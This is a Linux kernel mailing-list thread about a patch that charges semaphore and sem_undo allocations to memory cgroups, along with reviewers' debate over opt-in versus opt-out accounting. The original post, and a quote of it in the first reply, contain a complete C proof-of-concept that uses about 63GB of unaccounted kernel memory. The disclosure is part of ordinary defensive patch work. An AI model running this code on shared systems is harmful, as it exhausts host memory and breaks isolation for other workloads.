Skip to contentSkip to conversation

memcg: charge semaphores and sem_undo objects

PATCH In review Yutian Yang 4 participants 5 messages Jul 15, 2021 – Jul 16, 2021

Subsystems (2)
lore
Share & tools
lore
#0 lore raw

PATCH 1/1 memcg: charge semaphores and sem_undo objects

This patch adds accounting flags to semaphores and sem_undo allocation sites so that kernel could correctly charge these objects.

A malicious user could take up more than 63GB unaccounted memory under default sysctl settings by exploiting the unaccounted objects. She could allocate up to 32,000 unaccounted semaphore sets with up to 32,000 unaccounted semaphore objects in each set. She could further allocate one sem_undo unaccounted object for each semaphore set.

The following code shows a PoC that takes ~63GB unaccounted memory, while it is charged for only less than 1MB memory usage. We evaluate the PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster.

/*------------------------- POC code ----------------------------*/ #define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <time.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sched.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)

int main(int argc, char *argv[]) {
int err, semid;
struct sembuf sops;

  for (int i = 0; i < 31200; ++i) {
    semid = semget(IPC_PRIVATE, 31200, IPC_CREAT);
    if (semid == -1) {
      errExit("semget");
    }
    sops.sem_num = 0;
    sops.sem_op = 1;
    sops.sem_flg = SEM_UNDO;
    err = semop(semid, &sops, 1);
    if (err == -1) {
      errExit("semop");
    }

}
while(1);
return 0;
}
/*-------------------------- end --------------------------------*/

Thanks!

Yutian Yang,
Zhejiang University

---
 ipc/sem.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)
ipc/sem.c +2 -2
index f6c30a85d..6860de0b1 100644
@@ -511,7 +511,7 @@ static struct sem_array *sem_alloc(size_t nsems)
 	if (nsems > (INT_MAX - sizeof(*sma)) / sizeof(sma->sems[0]))
 		return NULL;
 
-	sma = kvzalloc(struct_size(sma, sems, nsems), GFP_KERNEL);
+	sma = kvzalloc(struct_size(sma, sems, nsems), GFP_KERNEL_ACCOUNT);
 	if (unlikely(!sma))
 		return NULL;
 
@@ -1935,7 +1935,7 @@ static struct sem_undo *find_alloc_undo(struct ipc_namespace *ns, int semid)
 	rcu_read_unlock();
 
 	/* step 2: allocate new undo structure */
-	new = kzalloc(sizeof(struct sem_undo) + sizeof(short)*nsems, GFP_KERNEL);
+	new = kzalloc(sizeof(struct sem_undo) + sizeof(short)*nsems, GFP_KERNEL_ACCOUNT);
 	if (!new) {
 		ipc_rcu_putref(&sma->sem_perm, sem_rcu_free);
 		return ERR_PTR(-ENOMEM);
Signature · 1 line
2.25.1
#1 lore raw

+Vasily Averin

Quoted 51 lines · Yutian Yang

This patch adds accounting flags to semaphores and sem_undo allocation sites so that kernel could correctly charge these objects.

A malicious user could take up more than 63GB unaccounted memory under default sysctl settings by exploiting the unaccounted objects. She could allocate up to 32,000 unaccounted semaphore sets with up to 32,000 unaccounted semaphore objects in each set. She could further allocate one sem_undo unaccounted object for each semaphore set.

The following code shows a PoC that takes ~63GB unaccounted memory, while it is charged for only less than 1MB memory usage. We evaluate the PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster.

/*------------------------- POC code ----------------------------*/ #define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <time.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sched.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)

int main(int argc, char *argv[]) {
int err, semid;
struct sembuf sops;

  for (int i = 0; i < 31200; ++i) {
    semid = semget(IPC_PRIVATE, 31200, IPC_CREAT);
    if (semid == -1) {
      errExit("semget");
    }
    sops.sem_num = 0;
    sops.sem_op = 1;
    sops.sem_flg = SEM_UNDO;
    err = semop(semid, &sops, 1);
    if (err == -1) {
      errExit("semop");
    }

}
while(1);
return 0;
}
/*-------------------------- end --------------------------------*/

Quoted 6 lines

Thanks!

Yutian Yang,
Zhejiang University

Thanks for the patch Yutian. I remember patch from Vasily regarding memcg charging of similar objects.

Vasily, what's the status of your patch?

Quoted 29 lines
---
 ipc/sem.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)
ipc/sem.c +2 -3
index f6c30a85d..6860de0b1 100644
@@ -511,7 +511,7 @@ static struct sem_array *sem_alloc(size_t nsems)
        if (nsems > (INT_MAX - sizeof(*sma)) / sizeof(sma->sems[0]))
                return NULL;
 
-       sma = kvzalloc(struct_size(sma, sems, nsems), GFP_KERNEL);
+       sma = kvzalloc(struct_size(sma, sems, nsems), GFP_KERNEL_ACCOUNT);
        if (unlikely(!sma))
                return NULL;
 
@@ -1935,7 +1935,7 @@ static struct sem_undo *find_alloc_undo(struct ipc_namespace *ns, int semid)
        rcu_read_unlock();
 
        /* step 2: allocate new undo structure */
-       new = kzalloc(sizeof(struct sem_undo) + sizeof(short)*nsems, GFP_KERNEL);
+       new = kzalloc(sizeof(struct sem_undo) + sizeof(short)*nsems, GFP_KERNEL_ACCOUNT);
        if (!new) {
                ipc_rcu_putref(&sma->sem_perm, sem_rcu_free);
                return ERR_PTR(-ENOMEM);
--

2.25.1

#2 lore raw
Quoted 5 lines · Shakeel Butt
Quoted 1 line · Yutian Yang

Thanks for the patch Yutian. I remember patch from Vasily regarding memcg charging of similar objects.

Yes, it is part of my "memcg: enable accounting of ipc resources" patch. We account few other IPC objects too.

Quoted 1 line

Vasily, what's the status of your patch?

It is still not merged, unfortunately, I will try to push it again.

Thank you,
Vasily Averin

#3 lore raw
In reply to Yutian Yang
Quoted 8 lines · Yutian Yang

This patch adds accounting flags to semaphores and sem_undo allocation sites so that kernel could correctly charge these objects.

A malicious user could take up more than 63GB unaccounted memory under default sysctl settings by exploiting the unaccounted objects. She could allocate up to 32,000 unaccounted semaphore sets with up to 32,000 unaccounted semaphore objects in each set. She could further allocate one sem_undo unaccounted object for each semaphore set.

Do we really have to account every object that's allocated on behalf of userspace? ie how seriously do we take this kind of thing? Are memcgs supposed to be a hard limit, or are they just a rough accounting thing?

There could be a very large stream of patches turning GFP_KERNEL into GFP_KERNEL_ACCOUNT. For example, file locks (fs/locks.c) are only allocated with GFP_KERNEL and you can allocate one lock per byte of a file. I'm sure there are hundreds more places where we do similar things.

#4 lore raw
Quoted 11 lines · Matthew Wilcox
Quoted 8 lines · Yutian Yang

This patch adds accounting flags to semaphores and sem_undo allocation sites so that kernel could correctly charge these objects.

A malicious user could take up more than 63GB unaccounted memory under default sysctl settings by exploiting the unaccounted objects. She could allocate up to 32,000 unaccounted semaphore sets with up to 32,000 unaccounted semaphore objects in each set. She could further allocate one sem_undo unaccounted object for each semaphore set.

Quoted 3 lines

Do we really have to account every object that's allocated on behalf of userspace? ie how seriously do we take this kind of thing? Are memcgs supposed to be a hard limit, or are they just a rough accounting thing?

The memcgs are used for providing isolation between different workloads running on the system and not just rough accounting estimation. So, if there is an unbound allocation which can be triggered by userspace than it should be accounted.

Quoted 5 lines

There could be a very large stream of patches turning GFP_KERNEL into GFP_KERNEL_ACCOUNT. For example, file locks (fs/locks.c) are only allocated with GFP_KERNEL and you can allocate one lock per byte of a file. I'm sure there are hundreds more places where we do similar things.

We used to do opt-out kmem memcg accounting but switched to opt-in with a9bb7e620efdf ("memcg: only account kmem allocations marked as __GFP_ACCOUNT") with the reason that number of allocations which should not be charged are larger than the allocations which should be charged.

Personally I would prefer we go back to the opt-out accounting specially after we have switched to reparenting the kmem charges and shared kmem caches.